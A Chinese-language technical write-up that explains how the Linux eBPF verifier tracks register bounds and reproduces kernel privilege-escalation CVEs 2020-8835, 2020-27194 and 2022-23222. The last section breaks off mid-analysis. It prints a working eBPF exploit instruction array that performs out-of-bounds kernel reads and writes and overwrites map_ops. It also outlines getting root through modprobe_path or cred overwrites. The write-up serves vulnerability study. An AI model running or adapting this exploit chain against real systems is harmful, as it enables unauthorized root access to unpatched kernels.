eBPF-verifier模块原理分析与漏洞复现

引言:

eBPF-verifier模块原理分析与漏洞复现

1 eBPF 漏洞相关知识

eBPF (Extended Berkeley Packet Filter) 由 cBPF (Classic Berkeley Packet Filter) 衍生而来,是一项可在内核虚拟机中运行程序的技术。使用eBPF无需修改内核源码,或者插入驱动,对系统的入侵性相对没那么强,可以安全并有效地扩展内核的功能。

1.1 eBPF指令

eBPF 使用类似 x86 的虚拟机指令,基础指令为 8 字节,其编码格式为:

32 bits (MSB) 16 bits 4 bits 4 bits 8 bits (LSB)
immediate offset source register destination register opcode

扩展指令在基础指令基础上增加 8 个字节的立即数,总长度为 16 字节。

伪指令是内核代码中定义的方便理解记忆的助记符,通常是对真实指令的包装。

下文中出现的指令/伪指令及其功能如下:

指令/伪指令 功能
BPF_MOV64_REG(DST, SRC) dst = src
BPF_MOV64_IMM(DST, IMM) dst_reg = imm32
BPF_ST_MEM(SIZE, DST, OFF, IMM) *(uint *) (dst_reg + off16) = imm32
BPF_STX_MEM(SIZE, DST, SRC, OFF) *(uint *) (dst_reg + off16) = src_reg
BPF_LDX_MEM(SIZE, DST, SRC, OFF) dst_reg = *(uint *) (src_reg + off16)
BPF_ALU64_IMM(OP, DST, IMM) dst_reg = dst_reg 'op' imm32
BPF_JMP_IMM(OP, DST, IMM, OFF) if (dst_reg 'op' imm32) goto pc + off16
BPF_LD_MAP_FD(DST, MAP_FD) dst = map_fd
BPF_EXIT_INSN() exit

1.2 eBPF寄存器

eBPF 共有 11 个寄存器,其中 R10 是只读的帧指针,剩余 10 个是通用寄存器。

  • R0: 保存函数返回值,及 eBPF 程序退出值
  • R1 - R5: 传递函数参数,调用函数保存
  • R6 - R9: 被调用函数保存
  • R10: 只读的帧指针
image-20250527202117034

1.3 eBPF程序类型

所有 eBPF 程序类型定义在以下枚举类型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
enum bpf_prog_type {
BPF_PROG_TYPE_UNSPEC = 0,
BPF_PROG_TYPE_SOCKET_FILTER = 1,
BPF_PROG_TYPE_KPROBE = 2,
BPF_PROG_TYPE_SCHED_CLS = 3,
BPF_PROG_TYPE_SCHED_ACT = 4,
BPF_PROG_TYPE_TRACEPOINT = 5,
BPF_PROG_TYPE_XDP = 6,
BPF_PROG_TYPE_PERF_EVENT = 7,
BPF_PROG_TYPE_CGROUP_SKB = 8,
BPF_PROG_TYPE_CGROUP_SOCK = 9,
BPF_PROG_TYPE_LWT_IN = 10,
BPF_PROG_TYPE_LWT_OUT = 11,
BPF_PROG_TYPE_LWT_XMIT = 12,
BPF_PROG_TYPE_SOCK_OPS = 13,
BPF_PROG_TYPE_SK_SKB = 14,
BPF_PROG_TYPE_CGROUP_DEVICE = 15,
BPF_PROG_TYPE_SK_MSG = 16,
BPF_PROG_TYPE_RAW_TRACEPOINT = 17,
BPF_PROG_TYPE_CGROUP_SOCK_ADDR = 18,
BPF_PROG_TYPE_LWT_SEG6LOCAL = 19,
BPF_PROG_TYPE_LIRC_MODE2 = 20,
BPF_PROG_TYPE_SK_REUSEPORT = 21,
BPF_PROG_TYPE_FLOW_DISSECTOR = 22,
BPF_PROG_TYPE_CGROUP_SYSCTL = 23,
BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE = 24,
BPF_PROG_TYPE_CGROUP_SOCKOPT = 25,
BPF_PROG_TYPE_TRACING = 26,
BPF_PROG_TYPE_STRUCT_OPS = 27,
BPF_PROG_TYPE_EXT = 28,
BPF_PROG_TYPE_LSM = 29,
BPF_PROG_TYPE_SK_LOOKUP = 30,
BPF_PROG_TYPE_SYSCALL = 31,
};

下文涉及到的类型只有 BPF_PROG_TYPE_SOCKET_FILTER。该类型 eBPF 程序通过 setsockopt 附加到指定 socket 上面,对 socket 的流量进行追踪、过滤,可附加的 socket 类型包括 UNIX socket。

该类型程序的传入参数为结构体 __sk_buff 指针,可通过调用 bpf_skb_load_bytes_relative 辅助函数经由该结构体获取 socket 流量。

1.4 eBPF map

eBPF map 是 eBPF 程序和用户态进行数据交换的媒介。其类型包括:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
enum bpf_map_type {
BPF_MAP_TYPE_UNSPEC = 0,
BPF_MAP_TYPE_HASH = 1,
BPF_MAP_TYPE_ARRAY = 2,
BPF_MAP_TYPE_PROG_ARRAY = 3,
BPF_MAP_TYPE_PERF_EVENT_ARRAY = 4,
BPF_MAP_TYPE_PERCPU_HASH = 5,
BPF_MAP_TYPE_PERCPU_ARRAY = 6,
BPF_MAP_TYPE_STACK_TRACE = 7,
BPF_MAP_TYPE_CGROUP_ARRAY = 8,
BPF_MAP_TYPE_LRU_HASH = 9,
BPF_MAP_TYPE_LRU_PERCPU_HASH = 10,
BPF_MAP_TYPE_LPM_TRIE = 11,
BPF_MAP_TYPE_ARRAY_OF_MAPS = 12,
BPF_MAP_TYPE_HASH_OF_MAPS = 13,
BPF_MAP_TYPE_DEVMAP = 14,
BPF_MAP_TYPE_SOCKMAP = 15,
BPF_MAP_TYPE_CPUMAP = 16,
BPF_MAP_TYPE_XSKMAP = 17,
BPF_MAP_TYPE_SOCKHASH = 18,
BPF_MAP_TYPE_CGROUP_STORAGE = 19,
BPF_MAP_TYPE_REUSEPORT_SOCKARRAY = 20,
BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE = 21,
BPF_MAP_TYPE_QUEUE = 22,
BPF_MAP_TYPE_STACK = 23,
BPF_MAP_TYPE_SK_STORAGE = 24,
BPF_MAP_TYPE_DEVMAP_HASH = 25,
BPF_MAP_TYPE_STRUCT_OPS = 26,
BPF_MAP_TYPE_RINGBUF = 27,
BPF_MAP_TYPE_INODE_STORAGE = 28,
BPF_MAP_TYPE_TASK_STORAGE = 29,
};

下文使用到的类型包括 BPF_MAP_TYPE_ARRAYBPF_MAP_TYPE_RINGBUF

  • BPF_MAP_TYPE_ARRAY: 顾名思义,类似数组,索引为整形,值可为任意长度的内存对象。
  • BPF_MAP_TYPE_RINGBUF: 环形缓冲区,如果写入的数据来不及读取,导致积累的数据超过缓冲区长度,新数据则会覆盖掉旧数据。

bpf_map是用户态空间与内核空间进行数据交换的桥梁,下文的很多操作都是围绕bpf_map进行展开的。

1.5 eBPF辅助函数

eBPF 辅助函数(eBPF helper)是可在 eBPF 程序中使用的辅助函数。

内核规定了不同类型的eBPF程序可使用哪些辅助函数,比如,bpf_skb_load_bytes_relative 只有 socket 相关的 eBPF 程序可使用。

各 eBPF 辅助函数的函数原型由内核定义,下文使用到的一些辅助函数的原型如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const struct bpf_func_proto bpf_map_lookup_elem_proto = {
.func = bpf_map_lookup_elem,
.gpl_only = false,
.pkt_access = true,
.ret_type = RET_PTR_TO_MAP_VALUE_OR_NULL,
.arg1_type = ARG_CONST_MAP_PTR,
.arg2_type = ARG_PTR_TO_MAP_KEY,
};

const struct bpf_func_proto bpf_ringbuf_reserve_proto = {
.func = bpf_ringbuf_reserve,
.ret_type = RET_PTR_TO_ALLOC_MEM_OR_NULL,
.arg1_type = ARG_CONST_MAP_PTR,
.arg2_type = ARG_CONST_ALLOC_SIZE_OR_ZERO,
.arg3_type = ARG_ANYTHING,
};

可见 bpf_map_lookup_elem 的返回值类型是 RET_PTR_TO_MAP_VALUE_OR_NULLbpf_ringbuf_reserve 的返回值类型是 RET_PTR_TO_ALLOC_MEM_OR_NULL

各 eBPF 辅助函数的功能可通过 man bpf-helpers 命令查看。

1.6 eBPF verifier

eBPF 程序在加载进内核之前,必须通过 eBPF verifier 的检查。只有符合要求的 eBPF 程序才允许被加载进内核,这是为了防止 eBPF 程序对内核进行破坏。

eBPF verifier 对 eBPF 程序的限制包括:

  1. 函数调用限制: 不能调用任意的内核函数,只限于内核模块中列出的 eBPF helper 函数
  2. 代码有效性: 不允许包含无法到达的指令,防止加载无效代码,延迟程序的终止
  3. 循环限制: 限制循环次数,必须在有限次内结束
  4. 栈大小限制: 栈大小被限制为 MAX_BPF_STACK截止到内核 5.10.83 版本,被设置为 512
  5. 复杂度限制: 限制 eBPF 程序的复杂度,verifier 处理的指令数不得超过 BPF_COMPLEXITY_LIMIT_INSNS,截止到内核 5.10.83 版本,被设置为100万
  6. 内存访问限制: 限制 eBPF 程序对内存的访问,比如不得访问未初始化的栈,不得越界访问 eBPF map

verifier进行bpf程序验证过程中,会对每个寄存器维持一个结构体,用于描述每个寄存器现在的状态:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ptype struct bpf_reg_state
type = struct bpf_reg_state {
enum bpf_reg_type type;
union {
u16 range;
struct bpf_map *map_ptr;
u32 btf_id;
unsigned long raw;
};
s32 off;
u32 id;
u32 ref_obj_id;
struct tnum var_off;
s64 smin_value;//有符号时可能的最小值
s64 smax_value;//有符号时可能的最大值
u64 umin_value;
u64 umax_value;
struct bpf_reg_state *parent;
u32 frameno;
s32 subreg_def;
enum bpf_reg_liveness live;
bool precise;
}

smin_valuesmax_value 保存当寄存器被当做是有符号数的时候可能的取值范围,同样umin_valueumax_value 表示的是无符号的时候。 var_ofstruct tnum 类型

1
2
3
4
5
ptype struct tnum
type = struct tnum {
u64 value;
u64 mask;
}

对于每个寄存器,在程序最开始有这四种状态:

  • NOT_INIT: 寄存器的默认状态,此时不能被读取。

  • SCALAR_VALUE: 寄存器包含一个 scalar 值,这个值要么是一个已知的常量,要么是一个范围,例如 1 - 5 。

  • PTR_TO_MAP_VALUE_OR_NULL:寄存器可以包含指向 map 的指针或是 NULL 。如果要使用这个指针,必须先对其进行检查,检查其指针是否为 NULL 。

  • PTR_TO_MAP_VALUE:一个寄存器包含已经被检查过的 map 指针。可以被用来对 map 进行读或写。

我们主要关注第二点SCALAR_VALUE, 也就是说,verifier在执行指令检测的过程中,有时候是不能够准确得知寄存器的具体数值的,只能根据已知指令去猜测寄存器的可能数值范围

如果一个寄存器从bpf_map中加载,则被声明为scalar value, 其具体数值完全取决于用户态是如何设置bpf_map的,在verifier阶段不可能知道。这时候verifier只能根据指令的上下文去猜测该寄存器可能的范围。

例如下面这段bpf程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
// 假设已有一个array类型的map: config_map

0: BPF_MOV64_REG(R6, R1) // 保存ctx参数到R6
1: BPF_MOV64_IMM(R1, 0) // R1 = 0 (map key)
2: BPF_STX_MEM(BPF_W, R10, R1, -4) // 将key存储到栈上: *(u32*)(fp-4) = 0
3: BPF_MOV64_REG(R2, R10) // R2 = fp (栈指针)
4: BPF_ALU64_IMM(BPF_ADD, R2, -4) // R2 = fp - 4 (key的地址)
5: BPF_LD_MAP_FD(R1, 1) // R1 = config_map_fd
6: BPF_CALL BPF_FUNC_map_lookup_elem // 调用bpf_map_lookup_elem(map, &key)
// 此时R0包含map value的指针或NULL

7: BPF_JMP_IMM(BPF_JEQ, R0, 0, 15) // if (R0 == NULL) goto exit
// verifier记录:R0 != NULL (指向map value)

8: BPF_LDX_MEM(BPF_DW, R1, R0, 0) // R1 = *(u64*)R0 (从map加载数据)
// ** 关键点:R1现在是scalar value **
// verifier标记:R1 = scalar_value(id=1, umin=0, umax=U64_MAX)
// 数值完全取决于用户态如何设置map,verifier无法知道具体值

9: BPF_JMP_IMM(BPF_JGT, R1, 1000, 13) // if (R1 > 1000) goto error
// verifier更新:R1的范围缩小为 [0, 1000]
// umin=0, umax=1000

10: BPF_MOV64_REG(R2, R1) // R2 = R1 (复制scalar value)
// verifier记录:R2也是scalar_value,范围[0, 1000]

11: BPF_ALU64_IMM(BPF_MUL, R2, 8) // R2 = R2 * 8
// verifier推算:R2范围变为[0, 8000]

12: BPF_JMP_IMM(BPF_JGE, R2, 4096, 13) // if (R2 >= 4096) goto error
// 进一步限制:如果继续执行,R2范围为[0, 4095]

// 使用scalar value作为数组索引(需要边界检查)
13: BPF_MOV64_REG(R3, R10) // R3 = fp
14: BPF_ALU64_IMM(BPF_ADD, R3, -512) // R3 = fp - 512 (栈数组基址)
15: BPF_ALU64_REG(BPF_ADD, R3, R2) // R3 = 栈数组基址 + R2
// verifier检查:R2必须在有效范围内,防止栈溢出
// 由于R2范围[0, 4095],但栈空间只有512字节,这里会被拒绝

16: BPF_ST_MEM(BPF_B, R3, 0, 1) // *(u8*)R3 = 1
// 如果上面的边界检查通过,这里才会执行

error:
17: BPF_MOV64_IMM(R0, -1) // R0 = -1 (错误返回值)
18: BPF_EXIT_INSN() // exit

success:
19: BPF_MOV64_IMM(R0, 0) // R0 = 0 (成功返回值)
20: BPF_EXIT_INSN() // exit

exit:
21: BPF_MOV64_IMM(R0, 1) // R0 = 1 (NULL指针)
22: BPF_EXIT_INSN() // exit

Verifier分析过程:

  1. 指令8:从map加载数据到R1 - R1被标记为scalar_value
    • 初始范围:umin=0, umax=U64_MAX
    • verifier无法知道具体数值(取决于用户态设置)
  2. 指令9:条件跳转 R1 > 1000
    • 如果不跳转,verifier推断:R1 ∈ [0, 1000]
    • 更新寄存器状态 3.
  3. 指令11:算术运算 R2 = R1 * 8 - verifier
    • 计算新范围:R2 ∈ [0, 8000]
  4. 指令12:另一个条件检查
    • 进一步缩小范围
  5. 指令15:用作内存偏移
    • verifier必须确保不会造成越界访问
    • 由于栈空间限制,此处会失败

但在verifier的验证过程中由于种种原因会存在对reg_state的误判,导致verifier不能够准确地判断寄存器的数值边界,从而导致一些严重的越界读写等漏洞。

2 CVE漏洞复现

CVE-2020-8835

漏洞复现环境:

1
Linux kernel x86 boot executable bzImage, version 5.6.0 (winegee@ubuntu) #5 SMP Sat Apr 18 23:42:35 CST 2020, RO-rootFS, swap_dev 0X8, Normal VGA

该漏洞在commit 581738a中被引入,在这次更新中在verifier.c中引入了一个新的函数:

1
2
3
4
5
6
7
8
9
10
static void __reg_bound_offset32(struct bpf_reg_state *reg)
{
u64 mask = 0xffffFFFF;
struct tnum range = tnum_range(reg->umin_value & mask,
reg->umax_value & mask);
struct tnum lo32 = tnum_cast(reg->var_off, 4);
struct tnum hi32 = tnum_lshift(tnum_rshift(reg->var_off, 32), 32);

reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range));
}

这个函数的意思是对寄存器进行32位的截取.

现在又要回到上面的问题了

对于跳转指令, 假如当前遇到了下面这样一条指令,

BPF_JMP_IMM(BPF_JGE, BPF_REG_5, 8, 3)

会有下面这样两行代码来更新状态,false_regtrue_reg 分别代表两个分支的状态, 这是我们前面__reg_bound_offset32 的64位版本

1
2
__reg_bound_offset(false_reg);
__reg_bound_offset(true_reg);

也就是说,在verifier静态分析过程中,如果遇到了这样一条关于r5的分支判断语句,那么会在不同分支上分裂出关于r5的不同的reg_state,我们这里分别叫做false_regtrue_reg

__reg_bound_offset32 会在使用BPF_JMP32 的时候调用,ebpf 的BPF_JMP 寄存器之间是64bit比较的,换成BPF_JMP32 的时候就只会比较低32位

我们先来看看源码中的tnum_range是怎么做的:

1
2
3
4
5
6
7
8
9
10
11
struct tnum tnum_range(u64 min, u64 max)                            
{
u64 chi = min ^ max, delta;

/* special case, needed because 1ULL << 64 is undefined */
if (bits > 63)
return tnum_unknown;

delta = (1ULL << bits) - 1;
return TNUM(min & ~delta, delta);
}

注意这里TNUM(min & -delta, delta) 直接取了min的低32位。

1
2
3
4
5
6
7
8
9
struct tnum tnum_intersect(struct tnum a, struct tnum b)     
{
u64 v, mu;

v = a.value | b.value;
mu = a.mask & b.mask;
return TNUM(v & ~mu, mu);
}
reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range));

那这就有问题了,在tnum_intersect之后,会设置reg->var_off,但现在的range是错的,也就会导致verifier对寄存器的值产生幻觉。

举个例子:

假如我们在之前把r6设定为一个从mapload进来的数值,这时reg6->tnum->value = 0因为verifier并不知道map中的数值。

1
2
3
4
5
6
7
8
9
BPF_JMP_IMM(BPF_JGE,6,1,1), 
BPF_EXIT_INSN(), // false_reg => ...
BPF_MOV64_IMM(9,0x1), // reg6->true_reg -> umin_value = 0x1
BPF_ALU64_IMM(BPF_LSH,9,32),
BPF_ALU64_IMM(BPF_ADD,9,1),
/*BPF_JLE tnum umax 0x100000001*/
BPF_JMP_REG(BPF_JLE,6,9,1),
BPF_EXIT_INSN(), //false_reg => ...
// reg6->true_reg -> umax_value = 0x100000001

这时我们使用jmp32来触发漏洞:

1
2
BPF_JMP32_IMM(BPF_JNE,6,5,1), 
BPF_EXIT_INSN(), // false_reg => ...

这时false_reg是什么我们不关心,因为他会走到exit中去。

true_reg在执行前:

1
2
3
4
5
6
7
8
var_off = {
value = 0x0,
mask = 0x1ffffffff
},
smin_value = 0x1,
smax_value = 0x100000001,
umin_value = 0x1,
umax_value = 0x100000001,

执行后:

1
2
3
4
5
6
7
8
var_off = {
value = 0x1,
mask = 0x100000000
},
smin_value = 0x1,
smax_value = 0x100000001,
umin_value = 0x1,
umax_value = 0x100000001,

这是因为__reg_bound_offset32umax_vlaue进行了低32位的截断,导致原本verifier认为1 <= r6 <= 0x100000001, 现在verifier认为1 <= r6 <= 0x1r6只能是1,所以verifier将这条分支上的r6->value->var_off设置成1 (这里这么说只是便于理解,其实这些逻辑在tnum_intersect中实现)

我们现在就可以利用上述verifierr6的错觉在内核空间内进行越界读写了。

比如我们可以通过如下操作,让reg6verifier的眼中彻底人畜无害:

1
2
3
r6 = (r6 & 2) >> 1
// real_r6 = 2=> (2 & 2) >> 1 => 1
// false_r6 = 1=> (1 & 2) >> 1 => 0

假如我们r6真实的数值是2,那么经过这一系列操作之后r6就会变成1, 但在verifier看来他是0。这时我们就可以对r6做任何的乘法操作来构造任意溢出需要的偏移量,但这在verifier看来0乘任何数都是0,所以无论一个寄存器加0减0,verifier都会认为是安全的。

漏洞利用的bpf程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
struct bpf_insn core_bpf_exploit_instructions[] = {
BPF_LD_MAP_FD(BPF_REG_1, 3), // Assumes primary_map_handle will be FD 3
BPF_ALU64_IMM(BPF_MOV, 6, 0),
BPF_STX_MEM(BPF_DW, 10, 6, -8),
BPF_MOV64_REG(7, 10),
BPF_ALU64_IMM(BPF_ADD, 7, -8),
BPF_MOV64_REG(2, 7),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, 0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(9, 0),
BPF_LDX_MEM(BPF_DW, 6, 9, 0), // Reads control_buffer_qwords[0] into r6
BPF_ALU64_IMM(BPF_MOV, 0, 0),
BPF_JMP_IMM(BPF_JGE, 6, 1, 1),
BPF_EXIT_INSN(), // Checks r6
BPF_MOV64_IMM(8, 0x1),
BPF_ALU64_IMM(BPF_LSH, 8, 32),
BPF_ALU64_IMM(BPF_ADD, 8, 1),
BPF_JMP_REG(BPF_JLE, 6, 8, 1),
BPF_EXIT_INSN(), // Checks r6
BPF_JMP32_IMM(BPF_JNE, 6, 5, 1),
BPF_EXIT_INSN(), // Checks r6
BPF_ALU64_IMM(BPF_AND, 6, 2),
BPF_ALU64_IMM(BPF_RSH, 6, 1),
BPF_ALU64_IMM(BPF_MUL, 6, 0x110), // KERNEL-SPECIFIC: Critical offset multiplier: 0x110
BPF_LD_MAP_FD(BPF_REG_1, 4), // Assumes auxiliary_map_handle will be FD 4
BPF_ALU64_IMM(BPF_MOV, 8, 0),
BPF_STX_MEM(BPF_DW, 10, 8, -8),
BPF_MOV64_REG(7, 10),
BPF_ALU64_IMM(BPF_ADD, 7, -8),
BPF_MOV64_REG(2, 7),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, 0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(7, 0),
BPF_ALU64_REG(BPF_SUB, 7, 6), // r7 = map_value_ptr_from_aux_map - r6 (calculated_offset for OOB)
BPF_LDX_MEM(BPF_DW, 8, 7, 0), // KERNEL-SPECIFIC OOB Read: *(r7 + 0) -> r8. Potential LEAK.
BPF_STX_MEM(BPF_DW, 9, 8, 0x10), // Store leak into control_buffer_qwords[2] (offset 0x10 in primary map value)
BPF_MOV64_REG(2, 8),
BPF_LDX_MEM(BPF_DW, 8, 7, 0xc0), // KERNEL-SPECIFIC OOB Read: *(r7 + 0xc0) -> r8. Potential LEAK.
BPF_STX_MEM(BPF_DW, 9, 8, 0x18), // Store leak into control_buffer_qwords[3] (offset 0x18 in primary map value)
BPF_STX_MEM(BPF_DW, 7, 8, 0x40), // KERNEL-SPECIFIC OOB Write: *(r7 + 0x40) = r8
BPF_ALU64_IMM(BPF_ADD, 8, 0x50), // KERNEL-SPECIFIC offset adjustment
BPF_LDX_MEM(BPF_DW, 2, 9, 0x8), // Reads control_buffer_qwords[1] into r2
BPF_JMP_IMM(BPF_JNE, 2, 1, 4), // Conditional jump based on control_buffer_qwords[1]
BPF_STX_MEM(BPF_DW, 7, 8, 0), // KERNEL-SPECIFIC OOB Write: *(r7 + 0) = r8 (This is the map_ops overwrite if r7 points to bpf_map start)
BPF_ST_MEM(BPF_W, 7, 0x18, BPF_MAP_TYPE_STACK), // KERNEL-SPECIFIC: Overwrite map->map_type
BPF_ST_MEM(BPF_W, 7, 0x24, -1), // KERNEL-SPECIFIC: Overwrite map->max_entries
BPF_ST_MEM(BPF_W, 7, 0x2c, 0x0), // KERNEL-SPECIFIC: Overwrite map->lock_off
BPF_ALU64_IMM(BPF_MOV, 0, 0),
BPF_EXIT_INSN(),
};

漏洞利用思路如下:(完整exp见附件,具体原理见Appendix)

  1. 在用户态创建bpf_map并在其中设置一些元数据,在内核的bpf程序中将上述bpf_map指针load给寄存器r1,

  2. 初始加载两个特制的 BPF 映射作为攻击载体。主映射(文件描述符3)用作控制缓冲区,存储攻击参数和泄露的数据;辅助映射(文件描述符4)作为越界访问的跳板。在主映射中预设特定的控制值,将 control_buffer_qwords[0] 设置为5,。同时,程序在栈上准备临时存储空间,为后续的映射查找操作做准备

  3. 利用上述verifier的逻辑漏洞制造一个被错误判断的reg6, 通过上述操作构造偏移量0x110越界访问bpf_map结构体中的元信息,泄漏内核地址,通过越界读写,覆盖元字段与map_ops

  4. map_push_elem覆盖为map_get_next_key触发任意地址写,更改modprobe_path,恢复到bash下在用户权限下执行错误的文件,让内核以root越权执行恶意文件,进而实现提权

其实我们可以用另一种攻击手法,就是直接搜索 init_pid_ns, 找到当前的task_struct, 然后写 cred 来获取一个 root shell。

漏洞复现过程:

  1. 运行exp更改modprobe_path并生成两个恶意文件
image-20250529152113973
image-20250529152249612
  1. 现在我们尝试执行custom_executor,里面是更改flag权限的命令,发现权限不够。
image-20250529152422005
  1. 现在执行probe_trigger, 里面是0xff 0xff 0xff 0xff 是错误的指令,这时内核会触发custom_executor, 我们就可以获取到flag的内容了。
image-20250529152554000

CVE-2020-27194

漏洞复现环境:

1
bzImage: Linux kernel x86 boot executable bzImage, version 5.8.14 (winegee@ubuntu) #1 SMP Sun May 13 23:50:27 PST 2025, RO-rootFS, swap_dev 0X8, Normal VGA

这个漏洞的成因和CVE-2020-8835很像,都是由于对32位的操作处理不当导致的。这个漏洞的成因是32位or运算的取值范围分析有错误:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static void scalar32_min_max_or(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_subreg_is_const(src_reg->var_off);
bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
struct tnum var32_off = tnum_subreg(dst_reg->var_off);
s32 smin_val = src_reg->smin_value;
u32 umin_val = src_reg->umin_value;

/* Assuming scalar64_min_max_or will be called so it is safe
* to skip updating register for known case.
*/
if (src_known && dst_known)
return;

/* We get our maximum from the var_off, and our minimum is the
* maximum of the operands' minima
*/
dst_reg->u32_min_value = max(dst_reg->u32_min_value, umin_val);
dst_reg->u32_max_value = var32_off.value | var32_off.mask;
if (dst_reg->s32_min_value < 0 || smin_val < 0) {
/* Lose signed bounds when ORing negative numbers,
* ain't nobody got time for that.
*/
dst_reg->s32_min_value = S32_MIN;
dst_reg->s32_max_value = S32_MAX;
} else {
/* ORing two positives gives a positive, so safe to
* cast result into s64.
*/
dst_reg->s32_min_value = dst_reg->umin_value;
dst_reg->s32_max_value = dst_reg->umax_value;
}
}

在进行两个有符号正数or运算时, 最后2行代码将寄存器的64位无符号数的取值范围赋值给了32位有符号数的取值范围。

那就很错了,举出上面的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
      BPF_LD_MAP_FD(BPF_REG_9, bpf_array_map_fd), 
BPF_MAP_GET(0, BPF_REG_5), // r5 = map_value[0]
BPF_LD_IMM64(BPF_REG_6, 0x600000002), // r6 = limit
BPF_JMP_REG(BPF_JLT, BPF_REG_5, BPF_REG_6, 1), // if r5 < r6, continue
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JGT, BPF_REG_5, 0, 1), // if r5 > 0, continue
BPF_EXIT_INSN(),
// At this point, the verifier believes 1 <= r5 <= 0x600000001
// However, if map_value[0] was 2 initially, r5 is 2.
BPF_ALU64_IMM(BPF_OR, BPF_REG_5, 0), // r5 |= 0. Verifier infers r5 is 1 if initial value was 1.
// If initial value was 2, r5 is still 2.
BPF_MOV_REG(BPF_REG_6, BPF_REG_5), // r6 = r5. Verifier thinks r6 is 1. Actually 2.
BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 1), // r6 >>= 1. Verifier thinks r6 is 0 (1>>1). Actually r6 is 1 (2>>1).
// This r6 (value 1) is used as a multiplier for out-of-bounds access.

1 <= r5 <= 0x600000001, 在执行BPF_ALU64_IMM(BPF_OR, BPF_REG_5, 0)后 就变成了1 <= r5 <= 0x1

后面的利用原理和CVE-2020-8835就一样了,只不过不同的内核版本各个指针之间的偏移可能有变化。

漏洞利用思路:(完整exp见附件,具体原理见Appendix)

  1. 在用户态创建bpf_map并在其中设置一些元数据,在内核的bpf程序中将上述bpf_map指针load给寄存器r1,

  2. 初始加载两个特制的 BPF 映射作为攻击载体。主映射(文件描述符3)用作控制缓冲区,存储攻击参数和泄露的数据;辅助映射(文件描述符4)作为越界访问的跳板。在主映射中预设特定的控制值,将 control_buffer_qwords[0] 设置为5,。同时,程序在栈上准备临时存储空间,为后续的映射查找操作做准备

  3. 利用上述verifier的逻辑漏洞制造一个被错误判断的reg6, 通过上述操作构造偏移量0x110越界访问bpf_map结构体中的元信息,泄漏内核地址,通过越界读写,覆盖元字段与map_ops

  4. 搜索 init_pid_ns, 找到当前的task_struct, 覆盖cred结构体进而实现提权。

image-20250529154907564

CVE-2022-23222

复现环境

1
bzImage: Linux kernel x86 boot executable bzImage, version 5.10.91 (root@iZbp1hx3qce738wmtfyf13Z) #1 SMP Sun Jun 1 19:08:06 CST 2025, RO-rootFS, swap_dev 0X9, Normal VGA

verifier中,会对寄存器进行指针类型检查,以禁用一些违法的指针类型进行加减操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
const struct bpf_reg_state *ptr_reg,
const struct bpf_reg_state *off_reg)
{
...

switch (ptr_reg->type) {
case PTR_TO_MAP_VALUE_OR_NULL:
verbose(env, "R%d pointer arithmetic on %s prohibited, null-check it first\n",
dst, reg_type_str[ptr_reg->type]);
return -EACCES;
case CONST_PTR_TO_MAP:
/* smin_val represents the known value */
if (known && smin_val == 0 && opcode == BPF_ADD)
break;
fallthrough;
case PTR_TO_PACKET_END:
case PTR_TO_SOCKET:
case PTR_TO_SOCKET_OR_NULL:
case PTR_TO_SOCK_COMMON:
case PTR_TO_SOCK_COMMON_OR_NULL:
case PTR_TO_TCP_SOCK:
case PTR_TO_TCP_SOCK_OR_NULL:
case PTR_TO_XDP_SOCK:
verbose(env, "R%d pointer arithmetic on %s prohibited\n",
dst, reg_type_str[ptr_reg->type]);
return -EACCES;
default:
break;
}

...
}

但没有列举完所有的 OR_NULL 类型指针,导致部分 OR_NULL 类型指针可以进行非法运算。

通过比对,发现下面这四者没有被禁用:

1
2
3
4
PTR_TO_BTF_ID_OR_NULL
PTR_TO_MEM_OR_NULL
PTR_TO_RDONLY_BUF_OR_NULL
PTR_TO_RDWR_BUF_OR_NULL

同时,在verifier分析条件跳转指令时,有如下调用链子:

1
check_cond_jmp_op -> mark_ptr_or_null_regs -> __mark_ptr_or_null_regs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static void __mark_ptr_or_null_regs(struct bpf_func_state *state, u32 id,
bool is_null)
{
...

for (i = 0; i < MAX_BPF_REG; i++)
mark_ptr_or_null_reg(state, &state->regs[i], id, is_null);

...
}

static void mark_ptr_or_null_reg(struct bpf_func_state *state,
struct bpf_reg_state *reg, u32 id,
bool is_null)
{
...

if (WARN_ON_ONCE(reg->smin_value || reg->smax_value ||
!tnum_equals_const(reg->var_off, 0) ||
reg->off)) {
__mark_reg_known_zero(reg);
reg->off = 0;
}
if (is_null) {
reg->type = SCALAR_VALUE;
}

...
}

